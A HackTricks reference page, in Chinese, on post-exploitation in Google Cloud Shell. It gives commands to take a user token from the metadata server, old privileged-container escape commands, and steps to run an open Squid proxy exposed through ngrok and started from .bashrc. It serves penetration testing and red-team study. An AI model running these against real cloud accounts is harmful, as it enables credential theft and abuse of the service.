GCP - Cloud Shell Post Exploitation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Cloud Shell
有关 Cloud Shell 的更多信息请参见:
从 metadata 获取用户 token
只需访问 metadata server,你就可以获取一个 token,以当前登录用户的身份进行访问:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
之前 cloud shell 在一个容器中运行,并且能访问宿主机的 docker socket。现在 Google 已经改变了架构,cloud shell 容器运行的是 “Docker in a container” 的设置。因此即使能在 cloud shell 中使用 docker,也无法通过 docker socket 逃逸到宿主机。 请注意,之前
docker.sock文件位于/google/host/var/run/docker.sock,但现在已移动到/run/docker.sock。
Docker use / Old container escape commands
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```此外,过去可以在 metadata server 中找到 cloud shell VM 所使用的 service account 的 token:
metadata 中的旧 service account
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` 具有以下作用域: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### 将其用作代理
如果你想将你的 google cloud shell 实例用作代理,你需要运行以下命令(或将它们插入到 .bashrc 文件中):
<details>
<summary>安装 Squid proxy</summary>
```bash
sudo apt install -y squid
顺便说明:Squid 是一个 http 代理服务器。创建一个 squid.conf 文件,使用以下设置:
创建 squid.conf 文件
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```将 squid.conf 文件复制到 /etc/squid
将配置复制到 /etc/squid
```bash sudo cp squid.conf /etc/squid ```最后运行 squid 服务:
启动 Squid 服务
```bash sudo service squid start ```使用 ngrok 使 proxy 可从外部访问:
使用 ngrok 暴露 proxy
```bash ./ngrok tcp 3128 ```运行后复制 tcp:// url。如果你想从浏览器运行 proxy,建议移除 tcp:// 部分和 port,并把该 port 填入浏览器 proxy 设置的 port 字段中(squid 是一个 http proxy 服务器)。
为了在启动时更好地使用,.bashrc 文件应包含以下行:
添加到 .bashrc 以自动启动
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```这些说明摘自 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 Windows)的其他疯狂想法。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

